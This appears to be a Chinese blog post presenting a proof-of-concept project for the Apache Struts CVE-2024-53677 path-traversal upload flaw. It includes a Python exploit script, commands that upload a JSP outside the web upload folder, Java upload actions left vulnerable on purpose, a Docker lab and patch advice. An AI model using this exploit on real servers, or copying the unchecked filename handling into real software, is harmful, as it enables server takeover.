Apache Struts CVE-2024-53677 漏洞利用与文件上传路径遍历安全分析

55 阅读5分钟

Apache Struts CVE-2024-53677 漏洞利用与安全分析

项目描述

这是一个用于安全研究和教育目的的概念验证(PoC)项目,针对 CVE-2024-53677 漏洞——Apache Struts 2 框架中的一个严重文件上传逻辑缺陷。该漏洞影响 Apache Struts 从 2.0.0 到 6.4.0 之前的所有版本。攻击者可以利用不安全的文件上传参数处理机制,通过路径遍历(Path Traversal)技术上传恶意文件,在特定条件下可实现远程代码执行(RCE)。

功能特性

  • 漏洞利用 PoC:提供完整的 Python 攻击脚本,演示如何利用路径遍历漏洞上传恶意文件
  • Docker 环境复现:包含一键部署的 Docker 配置文件,快速搭建存在漏洞的 Struts2 测试环境
  • 漏洞代码示例:展示存在漏洞的单文件和多文件上传 Action 实现,便于代码审计学习
  • 自动化攻击流程:支持自定义上传文件内容和目标路径,灵活测试不同场景
  • 安全预警:明确标识受影响的版本范围,提供官方修复建议(升级至 6.4.0 并使用新文件上传机制)

安装指南

系统要求

  • Python 3.6+
  • Docker 和 Docker Compose(用于本地环境复现)
  • 支持的操作系统:Linux / macOS / Windows(WSL)

克隆项目

git clone https://github.com/EQSTLab/CVE-2024-53677.git
cd CVE-2024-53677

安装 Python 依赖

pip install -r requirements.txt

Docker 漏洞环境搭建(可选)

cd docker
docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .
docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53677 cve-2024-53677

环境启动后,Struts2 应用将运行在 http://localhost:8080

使用说明

基础用法

Python 利用脚本 CVE-2024-53677.py 支持以下命令格式:

# 上传默认文件
python CVE-2024-53677.py -u <目标URL> -p <上传文件路径(支持路径遍历)>

# 上传指定文件
python CVE-2024-53677.py -u <目标URL> -p <上传文件路径> -f <本地文件路径>

攻击示例

# 示例1:上传 test.jsp 到上级目录(路径遍历)
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../test.jsp

# 示例2:上传自定义内容文件
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../test.jsp -f ./test.txt

成功执行后,恶意文件将被写入目标服务器的 web 可访问目录,可能实现远程代码执行。

漏洞代码分析

项目中包含存在漏洞的 Struts2 Action 实现:

单文件上传(UploadAction.java)

public String doUpload() {
    String uploadDir = "webapps/ROOT/uploads"; 
    File destFile = new File(uploadDirectory, uploadFileName);
    // 直接使用用户提供的 uploadFileName,未做任何路径检查
    FileOutputStream outputStream = new FileOutputStream(destFile);
}

多文件上传(UploadsAction.java)

public String doUpload() {
    for (int i = 0; i < uploadFileName.size(); i++) {
        File destFile = new File(uploadDirectory, uploadFileName.get(i));
        // 同样存在路径遍历风险,uploadFileName 可包含 ../ 序列
        FileOutputStream outputStream = new FileOutputStream(destFile);
    }
}

漏洞根本原因:uploadFileName 参数未经过滤或规范化,直接用于构造文件保存路径,允许攻击者通过 ../ 序列跳出目标目录。

核心代码

漏洞利用 Python 脚本核心逻辑

# CVE-2024-53677.py 核心利用代码片段
import requests
import os

def exploit(upload_url, target_path, local_file=None):
    """
    利用路径遍历上传恶意文件
    :param upload_url: 目标上传接口 URL
    :param target_path: 目标服务器文件路径(支持 ../ 遍历)
    :param local_file: 本地要上传的文件路径
    """
    # 构造 multipart/form-data 请求
    files = {
        'upload': (target_path, open(local_file, 'rb') if local_file else 'malicious content', 'text/plain')
    }
    
    # 发送利用请求
    response = requests.post(upload_url, files=files)
    
    if response.status_code == 200:
        print(f"[+] 文件已尝试上传至: {target_path}")
        print(f"[+] 请检查目标服务器是否可访问: {target_path}")
    else:
        print(f"[-] 上传失败,状态码: {response.status_code}")

存在漏洞的 Struts2 Action 完整代码

UploadAction.java(单文件上传)

package com.struts2;

import com.opensymphony.xwork2.ActionSupport;
import java.io.*;

public class UploadAction extends ActionSupport {
    private static final long serialVersionUID = 1L;
    private File upload;
    private String uploadContentType;
    private String uploadFileName;

    // Getters and Setters 省略...

    public String doUpload() {
        if (upload != null && upload.length() > 0) {
            try {
                String uploadDir = "webapps/ROOT/uploads"; 
                File uploadDirectory = new File(uploadDir);
                
                if (!uploadDirectory.exists()) {
                    uploadDirectory.mkdir();
                }
    
                // 漏洞点:直接拼接用户输入的文件名,未做路径检查
                File destFile = new File(uploadDirectory, uploadFileName);
    
                FileInputStream inputStream = new FileInputStream(upload);
                FileOutputStream outputStream = new FileOutputStream(destFile);
    
                byte[] buffer = new byte[1024];
                int length;
                while ((length = inputStream.read(buffer)) > 0) {
                    outputStream.write(buffer, 0, length);
                }
                inputStream.close();
                outputStream.close();
                return SUCCESS;
            } catch (IOException e) {
                addActionError("File upload failed: " + e.getMessage());
                return ERROR;
            }
        } else {
            addActionError("No file uploaded.");
            return ERROR;
        }
    }
}

UploadsAction.java(多文件上传)

package com.struts2;

import com.opensymphony.xwork2.ActionSupport;
import java.io.*;
import java.util.ArrayList;
import java.util.List;

public class UploadsAction extends ActionSupport {
    private static final long serialVersionUID = 1L;
    private List<File> upload;
    private List<String> uploadContentType;
    private List<String> uploadFileName;
    private List<String> uploadedFileNames = new ArrayList<String>();

    // Getters and Setters 省略...

    public String doUpload() {
        for (int i = 0; i < uploadFileName.size(); i++) {
            try {
                String uploadDir = "webapps/ROOT/uploads"; 
                File uploadDirectory = new File(uploadDir);
                
                if (!uploadDirectory.exists()) {
                    uploadDirectory.mkdir();
                }
                
                // 漏洞点:循环中同样直接使用用户提供的文件名,每个都可能包含路径遍历序列
                File destFile = new File(uploadDirectory, uploadFileName.get(i));
    
                FileInputStream inputStream = new FileInputStream(upload.get(i));
                FileOutputStream outputStream = new FileOutputStream(destFile);
    
                byte[] buffer = new byte[1024];
                int length;
                while ((length = inputStream.read(buffer)) > 0) {
                    outputStream.write(buffer, 0, length);
                }
                inputStream.close();
                outputStream.close();
                uploadedFileNames.add(uploadFileName.get(i));
            } catch (IOException e) {
                addActionError("File upload failed: " + e.getMessage());
                return ERROR;
            }
        }
        return SUCCESS;
    }
}

安全建议

  • 升级版本:将 Apache Struts 升级至 6.4.0 或更高版本
  • 迁移文件上传机制:使用官方推荐的新文件上传逻辑(参考 Struts 文件上传文档
  • 代码审计:检查现有应用中是否使用 FileuploadInterceptor,若未使用则应用是安全的
  • 输入验证:在生产代码中务必对 uploadFileName 进行路径规范化(如使用 FilenameUtils.getName())并拒绝包含 ../\ 等危险字符的文件名

参考链接


免责声明:本项目仅用于安全研究和教育目的,帮助安全人员和开发者理解和防御 CVE-2024-53677 漏洞。请勿在未授权系统上使用,使用者需自行承担相关法律责任。 6HFtX5dABrKlqXeO5PUv/0GnB+B7W49zBoBiv4CQM0E=